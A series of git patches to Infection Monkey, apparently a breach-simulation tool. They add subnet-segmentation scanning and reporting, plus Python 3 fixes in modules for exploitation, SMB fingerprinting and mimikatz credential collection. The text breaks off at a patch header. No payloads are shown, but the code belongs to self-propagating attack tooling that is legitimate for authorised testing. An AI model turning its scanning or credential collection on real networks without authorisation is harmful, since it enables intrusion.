From 7111f5b0e2b7b595bd66e0f82d04870be910161d Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 21 Feb 2018 12:55:36 +0200 Subject: [PATCH 001/137] Add inaccessible_subnet_groups config value --- chaos_monkey/config.py | 1 + chaos_monkey/example.conf | 1 + monkey_island/cc/services/config.py | 22 ++++++++++++++++++++++ 3 files changed, 24 insertions(+) diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index e62820816..fadc56258 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -184,6 +184,7 @@ class Configuration(object): range_class = FixedRange range_fixed = ['', ] + inaccessible_subnet_groups = [] blocked_ips = ['', ] diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index 6f70f888a..c3be6354f 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -11,6 +11,7 @@ "range_fixed": [ "" ], + "inaccessible_subnet_groups": [], "blocked_ips": [""], "current_server": "41.50.73.31:5000", "alive": true, diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 361854f05..b2792e6b3 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -235,6 +235,28 @@ SCHEMA = { "List of IPs/subnets to include when using FixedRange" " (Only relevant for Fixed Range)." " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\"" + }, + "inaccessible_subnet_groups": { + "title": "Inaccessible IP/subnet groups", + "type": "array", + "uniqueItems": True, + "items": { + "type": "array", + "title": "Subnet group", + "items": { + "type": "string" + }, + "minItems": 2, + "uniqueItems": True, + "description": "List of IPs/subnets." + " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\"," + " \"192.168.0.5/24\"" + }, + "default": [ + ], + "description": + "List of IP/subnet groups. Each group should consist of subnets that aren't supposed" + " to be accessible to one another." } } } From d6240ff5029761da368a8d34822c2a546e4f248d Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 26 Feb 2018 17:32:02 +0200 Subject: [PATCH 002/137] move inaccessible_subnet_groups to seperate category --- monkey_island/cc/services/config.py | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index d940019d7..e20ac4ce2 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -211,7 +211,13 @@ SCHEMA = { "description": "List of IPs/subnets the monkey should scan." " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\"" - }, + } + } + }, + "network_analysis": { + "title": "Network Analysis", + "type": "object", + "properties": { "inaccessible_subnet_groups": { "title": "Inaccessible IP/subnet groups", "type": "array", @@ -232,7 +238,8 @@ SCHEMA = { ], "description": "List of IP/subnet groups. Each group should consist of subnets that aren't supposed" - " to be accessible to one another." + " to be accessible to one another. If the monkey is in one subnet it'll scan the other" + " subnets in the same group." } } } From daef61e492ab598f58875494f5dcd1efa1b5eea4 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 26 Feb 2018 17:32:27 +0200 Subject: [PATCH 003/137] Scan inaccessible subnets --- infection_monkey/network/network_scanner.py | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/infection_monkey/network/network_scanner.py b/infection_monkey/network/network_scanner.py index 7bdddc904..9f83474a7 100644 --- a/infection_monkey/network/network_scanner.py +++ b/infection_monkey/network/network_scanner.py @@ -35,8 +35,18 @@ class NetworkScanner(object): self._ranges = [NetworkRange.get_range_obj(address_str=x) for x in WormConfiguration.subnet_scan_list] if WormConfiguration.local_network_scan: self._ranges += get_interfaces_ranges() + self._ranges += self._get_inaccessible_subnets_ips() LOG.info("Base local networks to scan are: %r", self._ranges) + def _get_inaccessible_subnets_ips(self): + subnets_to_scan = [] + for subnet_group in WormConfiguration.inaccessible_subnet_groups: + for subnet_str in subnet_group: + if NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses], subnet_str): + subnets_to_scan += [NetworkRange.get_range_obj(x) for x in subnet_group if x != subnet_str] + break + return subnets_to_scan + def get_victim_machines(self, scan_type, max_find=5, stop_callback=None): assert issubclass(scan_type, HostScanner) @@ -74,3 +84,10 @@ class NetworkScanner(object): if SCAN_DELAY: time.sleep(SCAN_DELAY) + + @staticmethod + def _is_any_ip_in_subnet(ip_addresses, subnet_str): + for ip_address in ip_addresses: + if NetworkRange.get_range_obj(subnet_str).is_in_range(ip_address): + return True + return False From cacb60b13223f8c662f4775fade289ed85239690 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 27 Feb 2018 14:03:50 +0200 Subject: [PATCH 004/137] Add parent path for python paths (for common code) --- monkey_island/cc/main.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/monkey_island/cc/main.py b/monkey_island/cc/main.py index e0f6ab079..3a6afb7ca 100644 --- a/monkey_island/cc/main.py +++ b/monkey_island/cc/main.py @@ -6,6 +6,11 @@ import sys import time BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +PARENT_PATH = os.path.dirname(BASE_PATH) + +if PARENT_PATH not in sys.path: + sys.path.insert(0, PARENT_PATH) + if BASE_PATH not in sys.path: sys.path.insert(0, BASE_PATH) From aae2a3a8de7bf2eb45fc73078661f6db9bf74aa5 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 27 Feb 2018 14:05:23 +0200 Subject: [PATCH 005/137] rename existing cross_segment_issue to island_cross_segment_issue --- monkey_island/cc/services/report.py | 13 +++++++------ .../cc/ui/src/components/pages/ReportPage.js | 6 +++--- 2 files changed, 10 insertions(+), 9 deletions(-) diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 250acc17a..4adcf4580 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -35,7 +35,7 @@ class ReportService: CONFICKER = 5 class WARNINGS_DICT(Enum): - CROSS_SEGMENT = 0 + ISLAND_CROSS_SEGMENT = 0 TUNNEL = 1 @staticmethod @@ -253,7 +253,7 @@ class ReportService: ] @staticmethod - def get_cross_segment_issues(): + def get_island_cross_segment_issues(): issues = [] island_ips = local_ip_addresses() for monkey in mongo.db.monkey.find({'tunnel': {'$exists': False}}, {'tunnel': 1, 'guid': 1, 'hostname': 1}): @@ -268,7 +268,7 @@ class ReportService: break if not found_good_ip: issues.append( - {'type': 'cross_segment', 'machine': monkey['hostname'], + {'type': 'island_cross_segment', 'machine': monkey['hostname'], 'networks': [str(subnet) for subnet in monkey_subnets], 'server_networks': [str(subnet) for subnet in get_subnets()]} ) @@ -277,7 +277,8 @@ class ReportService: @staticmethod def get_issues(): - issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + issues = ReportService.get_exploits() + ReportService.get_tunnels() \ + + ReportService.get_island_cross_segment_issues() issues_dict = {} for issue in issues: machine = issue['machine'] @@ -349,8 +350,8 @@ class ReportService: for machine in issues: for issue in issues[machine]: - if issue['type'] == 'cross_segment': - warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True + if issue['type'] == 'island_cross_segment': + warnings_byte_array[ReportService.WARNINGS_DICT.ISLAND_CROSS_SEGMENT.value] = True elif issue['type'] == 'tunnel': warnings_byte_array[ReportService.WARNINGS_DICT.TUNNEL.value] = True diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 56c2c3881..5c77f9c46 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -26,7 +26,7 @@ class ReportPageComponent extends AuthComponent { Warning = { - CROSS_SEGMENT: 0, + ISLAND_CROSS_SEGMENT: 0, TUNNEL: 1 }; @@ -333,7 +333,7 @@ class ReportPageComponent extends AuthComponent {
The Monkey uncovered the following possible set of issues:
    - {this.state.report.overview.warnings[this.Warning.CROSS_SEGMENT] ? + {this.state.report.overview.warnings[this.Warning.ISLAND_CROSS_SEGMENT] ?
  • Weak segmentation - Machines from different segments are able to communicate.
  • : null} {this.state.report.overview.warnings[this.Warning.TUNNEL] ? @@ -664,7 +664,7 @@ class ReportPageComponent extends AuthComponent { case 'conficker': data = this.generateConfickerIssue(issue); break; - case 'cross_segment': + case 'island_cross_segment': data = this.generateCrossSegmentIssue(issue); break; case 'tunnel': From 57ae31406a9dddea7dc93eb88788e9bb8e7c7840 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 27 Feb 2018 14:17:50 +0200 Subject: [PATCH 006/137] Implement backend --- monkey_island/cc/services/report.py | 85 +++++++++++++++++++++++++++-- 1 file changed, 81 insertions(+), 4 deletions(-) diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 4adcf4580..3c30ba20e 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -1,3 +1,5 @@ +import itertools + import ipaddress from enum import Enum @@ -6,6 +8,7 @@ from cc.services.config import ConfigService from cc.services.edge import EdgeService from cc.services.node import NodeService from cc.utils import local_ip_addresses, get_subnets +from common.network.range import NetworkRange __author__ = "itay.mizeretz" @@ -33,6 +36,7 @@ class ReportService: SAMBACRY = 3 SHELLSHOCK = 4 CONFICKER = 5 + CROSS_SEGMENT = 6 class WARNINGS_DICT(Enum): ISLAND_CROSS_SEGMENT = 0 @@ -275,6 +279,74 @@ class ReportService: return issues + @staticmethod + def get_cross_segment_ip(ip_addresses, source_subnet, target_subnet): + for ip_address in ip_addresses: + if target_subnet.is_in_range(ip_address): + return None + for ip_address in ip_addresses: + if source_subnet.is_in_range(ip_address): + return ip_address + return None + + @staticmethod + def get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet): + if source_subnet == target_subnet: + return [] + source_subnet_range = NetworkRange.get_range_obj(source_subnet) + target_subnet_range = NetworkRange.get_range_obj(target_subnet) + + cross_segment_issues = [] + + for scan in scans: + target_ip = scan['data']['machine']['ip_addr'] + if target_subnet_range.is_in_range(unicode(target_ip)): + monkey = NodeService.get_monkey_by_guid(scan['monkey_guid']) + cross_segment_ip = ReportService.get_cross_segment_ip(monkey['ip_addresses'], source_subnet_range, + target_subnet_range) + if cross_segment_ip is not None: + cross_segment_issues.append( + { + 'source': cross_segment_ip, + 'target': target_ip, + 'services': scan['data']['machine']['services'] + }) + + return cross_segment_issues + + @staticmethod + def get_cross_segment_issues_per_subnet_group(scans, subnet_group): + cross_segment_issues = [] + + for subnet_pair in itertools.product(subnet_group, subnet_group): + source_subnet = subnet_pair[0] + target_subnet = subnet_pair[1] + pair_issues = ReportService.get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet) + if len(pair_issues) != 0: + cross_segment_issues.append( + { + 'source_subnet': source_subnet, + 'target_subnet': target_subnet, + 'issues': pair_issues + }) + + return cross_segment_issues + + @staticmethod + def get_cross_segement_issues(): + scans = mongo.db.telemetry.find({'telem_type': 'scan'}, + {'monkey_guid': 1, 'data.machine.ip_addr': 1, 'data.machine.services': 1}) + + cross_segment_issues = [] + + subnet_groups = ConfigService.get_config_value( + ['basic_network', 'network_analysis', 'inaccessible_subnet_groups']) + + for subnet_group in subnet_groups: + cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group(scans, subnet_group) + + return cross_segment_issues + @staticmethod def get_issues(): issues = ReportService.get_exploits() + ReportService.get_tunnels() \ @@ -323,8 +395,8 @@ class ReportService: return ConfigService.get_config_value(['basic_network', 'general', 'local_network_scan'], True) @staticmethod - def get_issues_overview(issues, config_users, config_passwords): - issues_byte_array = [False] * 6 + def get_issues_overview(issues, cross_segment_issues, config_users, config_passwords): + issues_byte_array = [False] * 7 for machine in issues: for issue in issues[machine]: @@ -342,6 +414,9 @@ class ReportService: elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'): issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True + if len(cross_segment_issues) != 0: + issues_byte_array[ReportService.ISSUES_DICT.CROSS_SEGMENT.value] = True + return issues_byte_array @staticmethod @@ -376,6 +451,7 @@ class ReportService: issues = ReportService.get_issues() config_users = ReportService.get_config_users() config_passwords = ReportService.get_config_passwords() + cross_segment_issues = ReportService.get_cross_segement_issues() report = \ { @@ -389,14 +465,15 @@ class ReportService: 'config_scan': ReportService.get_config_scan(), 'monkey_start_time': ReportService.get_first_monkey_time().strftime("%d/%m/%Y %H:%M:%S"), 'monkey_duration': ReportService.get_monkey_duration(), - 'issues': ReportService.get_issues_overview(issues, config_users, config_passwords), + 'issues': ReportService.get_issues_overview(issues, cross_segment_issues, config_users, config_passwords), 'warnings': ReportService.get_warnings_overview(issues) }, 'glance': { 'scanned': ReportService.get_scanned(), 'exploited': ReportService.get_exploited(), - 'stolen_creds': ReportService.get_stolen_creds() + 'stolen_creds': ReportService.get_stolen_creds(), + 'cross_segment_issues': cross_segment_issues }, 'recommendations': { From 74a928cfe7bf34c6a7b5d965629ef6a6cfe09775 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 27 Feb 2018 14:45:17 +0200 Subject: [PATCH 007/137] if machine has IPs in 2 different subnets in same group, don't scan other subnet --- infection_monkey/network/network_scanner.py | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/infection_monkey/network/network_scanner.py b/infection_monkey/network/network_scanner.py index d1386583e..49390295e 100644 --- a/infection_monkey/network/network_scanner.py +++ b/infection_monkey/network/network_scanner.py @@ -1,9 +1,9 @@ import logging import time +from common.network.range import * from config import WormConfiguration from info import local_ips, get_interfaces_ranges -from common.network.range import * from model import VictimHost from . import HostScanner @@ -44,8 +44,16 @@ class NetworkScanner(object): for subnet_group in WormConfiguration.inaccessible_subnet_groups: for subnet_str in subnet_group: if NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses], subnet_str): - subnets_to_scan += [NetworkRange.get_range_obj(x) for x in subnet_group if x != subnet_str] + # If machine has IPs from 2 different subnets in the same group, there's no point checking the other + # subnet. + for other_subnet_str in subnet_group: + if other_subnet_str == subnet_str: + continue + if not NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses], + other_subnet_str): + subnets_to_scan.append(NetworkRange.get_range_obj(other_subnet_str)) break + return subnets_to_scan def get_victim_machines(self, scan_type, max_find=5, stop_callback=None): From 08995796ef986510eff149a925a157f0d78db9ab Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 27 Feb 2018 15:54:19 +0200 Subject: [PATCH 008/137] Make both segmentation issues and island segmentation issues present the same warning --- monkey_island/cc/services/report.py | 25 +++++++++---------- .../cc/ui/src/components/pages/ReportPage.js | 6 ++--- 2 files changed, 15 insertions(+), 16 deletions(-) diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 3c30ba20e..b4d604c3a 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -36,10 +36,9 @@ class ReportService: SAMBACRY = 3 SHELLSHOCK = 4 CONFICKER = 5 - CROSS_SEGMENT = 6 class WARNINGS_DICT(Enum): - ISLAND_CROSS_SEGMENT = 0 + CROSS_SEGMENT = 0 TUNNEL = 1 @staticmethod @@ -395,8 +394,8 @@ class ReportService: return ConfigService.get_config_value(['basic_network', 'general', 'local_network_scan'], True) @staticmethod - def get_issues_overview(issues, cross_segment_issues, config_users, config_passwords): - issues_byte_array = [False] * 7 + def get_issues_overview(issues, config_users, config_passwords): + issues_byte_array = [False] * 6 for machine in issues: for issue in issues[machine]: @@ -414,22 +413,22 @@ class ReportService: elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'): issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True - if len(cross_segment_issues) != 0: - issues_byte_array[ReportService.ISSUES_DICT.CROSS_SEGMENT.value] = True - return issues_byte_array @staticmethod - def get_warnings_overview(issues): + def get_warnings_overview(issues, cross_segment_issues): warnings_byte_array = [False] * 2 for machine in issues: for issue in issues[machine]: if issue['type'] == 'island_cross_segment': - warnings_byte_array[ReportService.WARNINGS_DICT.ISLAND_CROSS_SEGMENT.value] = True + warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True elif issue['type'] == 'tunnel': warnings_byte_array[ReportService.WARNINGS_DICT.TUNNEL.value] = True + if len(cross_segment_issues) != 0: + warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True + return warnings_byte_array @staticmethod @@ -465,15 +464,15 @@ class ReportService: 'config_scan': ReportService.get_config_scan(), 'monkey_start_time': ReportService.get_first_monkey_time().strftime("%d/%m/%Y %H:%M:%S"), 'monkey_duration': ReportService.get_monkey_duration(), - 'issues': ReportService.get_issues_overview(issues, cross_segment_issues, config_users, config_passwords), - 'warnings': ReportService.get_warnings_overview(issues) + 'issues': ReportService.get_issues_overview(issues, config_users, config_passwords), + 'warnings': ReportService.get_warnings_overview(issues, cross_segment_issues), + 'cross_segment_issues': cross_segment_issues }, 'glance': { 'scanned': ReportService.get_scanned(), 'exploited': ReportService.get_exploited(), - 'stolen_creds': ReportService.get_stolen_creds(), - 'cross_segment_issues': cross_segment_issues + 'stolen_creds': ReportService.get_stolen_creds() }, 'recommendations': { diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 5c77f9c46..a71f764eb 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -26,7 +26,7 @@ class ReportPageComponent extends AuthComponent { Warning = { - ISLAND_CROSS_SEGMENT: 0, + CROSS_SEGMENT: 0, TUNNEL: 1 }; @@ -333,7 +333,7 @@ class ReportPageComponent extends AuthComponent {
    The Monkey uncovered the following possible set of issues:
      - {this.state.report.overview.warnings[this.Warning.ISLAND_CROSS_SEGMENT] ? + {this.state.report.overview.warnings[this.Warning.CROSS_SEGMENT] ?
    • Weak segmentation - Machines from different segments are able to communicate.
    • : null} {this.state.report.overview.warnings[this.Warning.TUNNEL] ? @@ -603,7 +603,7 @@ class ReportPageComponent extends AuthComponent { ); } - generateCrossSegmentIssue(issue) { + generateIslandCrossSegmentIssue(issue) { return (
    • Segment your network and make sure there is no communication between machines from different segments. From 3efc638d1f5b864bb63d34f6caf6d6bf19fd39d0 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 27 Feb 2018 15:54:45 +0200 Subject: [PATCH 009/137] Add segmentation issues section --- monkey_island/cc/services/report.py | 1 + .../cc/ui/src/components/pages/ReportPage.js | 31 +++++++++++++++++++ 2 files changed, 32 insertions(+) diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index b4d604c3a..de0210bc4 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -307,6 +307,7 @@ class ReportService: cross_segment_issues.append( { 'source': cross_segment_ip, + 'hostname': monkey['hostname'], 'target': target_ip, 'services': scan['data']['machine']['services'] }) diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index a71f764eb..0e57b2ac4 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -346,6 +346,21 @@ class ReportPageComponent extends AuthComponent {
    }
+ { this.state.report.overview.cross_segment_issues.length > 0 ? +
+

+ Segmentation Issues +

+
+ The Monkey uncovered the following set of segmentation issues: +
    + {this.state.report.overview.cross_segment_issues.map(x => this.generateCrossSegmentIssue(x))} +
+
+
+ : + '' + } ); } @@ -429,6 +444,22 @@ class ReportPageComponent extends AuthComponent { return data_array.map(badge_data => {badge_data}); } + generateCrossSegmentIssue(crossSegmentIssue) { + return
  • + {'Communication possible from ' + crossSegmentIssue['source_subnet'] + ' to ' + crossSegmentIssue['target_subnet']} + +
      + {crossSegmentIssue['issues'].map(x => +
    • + {'IP ' + x['source'] + ' (' + x['hostname'] + ') connected to IP ' + x['target'] + + ' using the services: ' + Object.keys(x['services']).join(', ')} +
    • + )} +
    +
    +
  • ; + } + generateShellshockPathListBadges(paths) { return paths.map(path => {path}); } From 5027c9b15b5c7a9de0e59e5ad745793613f07f34 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Sun, 29 Apr 2018 20:14:17 +0300 Subject: [PATCH 010/137] Tick under report, while map is still running fixed. Now tick only apears after map generation is finished. --- monkey_island/cc/resources/root.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/root.py b/monkey_island/cc/resources/root.py index 91ac389be..61c788d7e 100644 --- a/monkey_island/cc/resources/root.py +++ b/monkey_island/cc/resources/root.py @@ -57,5 +57,8 @@ class Root(flask_restful.Resource): def get_completed_steps(): is_any_exists = NodeService.is_any_monkey_exists() infection_done = NodeService.is_monkey_finished_running() - report_done = ReportService.is_report_generated() + if not infection_done: + report_done = False + else: + report_done = ReportService.is_report_generated() return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done) From 7503a77ff712d4688271cb4dda55756535df64ac Mon Sep 17 00:00:00 2001 From: Rahul Goswami Date: Thu, 3 May 2018 00:50:02 +0530 Subject: [PATCH 011/137] update __repr__ method in VictimHost class - __repr__ method should return the standard constructor string (pep8) --- infection_monkey/model/host.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/model/host.py b/infection_monkey/model/host.py index 502f81ca9..29f9cad60 100644 --- a/infection_monkey/model/host.py +++ b/infection_monkey/model/host.py @@ -29,7 +29,7 @@ class VictimHost(object): return self.ip_addr.__cmp__(other.ip_addr) def __repr__(self): - return "" % self.ip_addr + return "VictimHost({0!r})".format(self.ip_addr) def __str__(self): victim = "Victim Host %s: " % self.ip_addr From b6e39280becfe6f9d47dacc51e5c72ebb0151710 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sat, 5 May 2018 16:23:58 +0300 Subject: [PATCH 012/137] Spacing in __str__ method of VictimHost --- infection_monkey/model/host.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/model/host.py b/infection_monkey/model/host.py index 29f9cad60..00bf08053 100644 --- a/infection_monkey/model/host.py +++ b/infection_monkey/model/host.py @@ -39,7 +39,7 @@ class VictimHost(object): victim += "] Services - [" for k, v in self.services.items(): victim += "%s-%s " % (k, v) - victim += ']' + victim += '] ' victim += "target monkey: %s" % self.monkey_exe return victim From bc76ea977b06e31ca20cccbd184e5634b6623f28 Mon Sep 17 00:00:00 2001 From: cclauss Date: Mon, 7 May 2018 16:24:11 +0200 Subject: [PATCH 013/137] New style exceptions, has_key(), and types --- infection_monkey/config.py | 6 +++--- infection_monkey/exploit/rdpgrinder.py | 2 +- infection_monkey/network/smbfinger.py | 4 ++-- infection_monkey/system_info/mimikatz_collector.py | 4 ++-- infection_monkey/transport/ftp.py | 4 ++-- infection_monkey/transport/http.py | 2 +- infection_monkey/transport/tcp.py | 2 +- monkey_island/cc/resources/monkey_configuration.py | 2 +- monkey_island/cc/resources/telemetry.py | 2 +- 9 files changed, 14 insertions(+), 14 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 41ecd1d91..7bd651965 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -40,7 +40,7 @@ def _cast_by_example(value, example): return int(value) elif example_type is float: return float(value) - elif example_type is types.ClassType or example_type is ABCMeta: + elif example_type in (type, ABCMeta): return globals()[value] else: return None @@ -84,10 +84,10 @@ class Configuration(object): if val_type is types.FunctionType or val_type is types.MethodType: continue - if val_type is types.ClassType or val_type is ABCMeta: + if val_type in (type, ABCMeta): value = value.__name__ elif val_type is tuple or val_type is list: - if len(value) != 0 and (type(value[0]) is types.ClassType or type(value[0]) is ABCMeta): + if len(value) != 0 and type(value[0]) in (type, ABCMeta): value = val_type([x.__name__ for x in value]) result[key] = value diff --git a/infection_monkey/exploit/rdpgrinder.py b/infection_monkey/exploit/rdpgrinder.py index d95bd74ba..5d73c8279 100644 --- a/infection_monkey/exploit/rdpgrinder.py +++ b/infection_monkey/exploit/rdpgrinder.py @@ -27,7 +27,7 @@ LOG = getLogger(__name__) def twisted_log_func(*message, **kw): - if kw.has_key('isError') and kw['isError']: + if kw.get('isError'): error_msg = 'Unknown' if 'failure' in kw: error_msg = kw['failure'].getErrorMessage() diff --git a/infection_monkey/network/smbfinger.py b/infection_monkey/network/smbfinger.py index bf8e5bfec..9ccb52422 100644 --- a/infection_monkey/network/smbfinger.py +++ b/infection_monkey/network/smbfinger.py @@ -144,13 +144,13 @@ class SMBFinger(HostFinger): host.os['type'] = 'linux' host.services[SMB_SERVICE]['name'] = service_client - if not host.os.has_key('version'): + if 'version' not in host.os: host.os['version'] = os_version else: host.services[SMB_SERVICE]['os-version'] = os_version return True - except Exception, exc: + except Exception as exc: LOG.debug("Error getting smb fingerprint: %s", exc) return False diff --git a/infection_monkey/system_info/mimikatz_collector.py b/infection_monkey/system_info/mimikatz_collector.py index e69bcd73e..65f326256 100644 --- a/infection_monkey/system_info/mimikatz_collector.py +++ b/infection_monkey/system_info/mimikatz_collector.py @@ -24,7 +24,7 @@ class MimikatzCollector(object): self._collect = collect_proto(("collect", self._dll)) self._get = get_proto(("get", self._dll)) self._isInit = True - except StandardError: + except Exception: LOG.exception("Error initializing mimikatz collector") def get_logon_info(self): @@ -71,7 +71,7 @@ class MimikatzCollector(object): logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash return logon_data_dictionary - except StandardError: + except Exception: LOG.exception("Error getting logon info") return {} diff --git a/infection_monkey/transport/ftp.py b/infection_monkey/transport/ftp.py index 733dee884..3b1c84845 100644 --- a/infection_monkey/transport/ftp.py +++ b/infection_monkey/transport/ftp.py @@ -32,12 +32,12 @@ class FTPServer(threading.Thread): try: func=getattr(self,cmd[:4].strip().upper()) func(cmd) - except Exception,e: + except Exception as e: self.conn.send('500 Sorry.\r\n') break self.conn.close() - self.sock.close() + self.sock.close() def SYST(self,cmd): self.conn.send('215 UNIX Type: L8\r\n') diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index ee198a08a..8d07fd155 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -122,7 +122,7 @@ class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler): address = (u.hostname, u.port or 443) try: conn = socket.create_connection(address) - except socket.error, e: + except socket.error as e: LOG.debug("HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" % (repr(address), e)) self.send_error(504) # 504 Gateway Timeout return diff --git a/infection_monkey/transport/tcp.py b/infection_monkey/transport/tcp.py index ee3a05442..eaa94de1c 100644 --- a/infection_monkey/transport/tcp.py +++ b/infection_monkey/transport/tcp.py @@ -63,7 +63,7 @@ class TcpProxy(TransportProxyBase): try: dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM) dest.connect((self.dest_host, self.dest_port)) - except socket.error, ex: + except socket.error as ex: source.close() dest.close() continue diff --git a/monkey_island/cc/resources/monkey_configuration.py b/monkey_island/cc/resources/monkey_configuration.py index db4d17167..6dab8dddb 100644 --- a/monkey_island/cc/resources/monkey_configuration.py +++ b/monkey_island/cc/resources/monkey_configuration.py @@ -17,7 +17,7 @@ class MonkeyConfiguration(flask_restful.Resource): @jwt_required() def post(self): config_json = json.loads(request.data) - if config_json.has_key('reset'): + if 'reset' in config_json: ConfigService.reset_config() else: ConfigService.update_config(config_json, should_encrypt=True) diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 6095b0946..cb18ff845 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -53,7 +53,7 @@ class Telemetry(flask_restful.Resource): TELEM_PROCESS_DICT[telem_type](telemetry_json) else: print('Got unknown type of telemetry: %s' % telem_type) - except StandardError as ex: + except Exception as ex: print("Exception caught while processing telemetry: %s" % str(ex)) traceback.print_exc() From 0bb0cfbd5d3404a5fef2ee76106a1d256cb5ba3d Mon Sep 17 00:00:00 2001 From: cclauss Date: Mon, 7 May 2018 16:48:49 +0200 Subject: [PATCH 014/137] long was removed in Python 3 --- infection_monkey/exploit/tools.py | 2 +- infection_monkey/network/info.py | 9 +++++++-- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index 60e3950a6..dbbd8070a 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -405,7 +405,7 @@ def get_interface_to_target(dst): for d, m, gw, i, a in routes: aa = atol(a) if aa == dst: - pathes.append((0xffffffffL, ("lo", a, "0.0.0.0"))) + pathes.append((0xffffffff, ("lo", a, "0.0.0.0"))) if (dst & m) == (d & m): pathes.append((m, (i, a, gw))) if not pathes: diff --git a/infection_monkey/network/info.py b/infection_monkey/network/info.py index 179befd4f..a55dbcdc5 100644 --- a/infection_monkey/network/info.py +++ b/infection_monkey/network/info.py @@ -10,6 +10,11 @@ from subprocess import check_output from random import randint from common.network.network_range import CidrRange +try: + long # Python 2 +except NameError: + long = int # Python 3 + def get_host_subnets(): """ @@ -93,8 +98,8 @@ else: ifaddr = socket.inet_ntoa(ifreq[20:24]) else: continue - routes.append((socket.htonl(long(dst, 16)) & 0xffffffffL, - socket.htonl(long(msk, 16)) & 0xffffffffL, + routes.append((socket.htonl(long(dst, 16)) & 0xffffffff, + socket.htonl(long(msk, 16)) & 0xffffffff, socket.inet_ntoa(struct.pack("I", long(gw, 16))), iff, ifaddr)) From 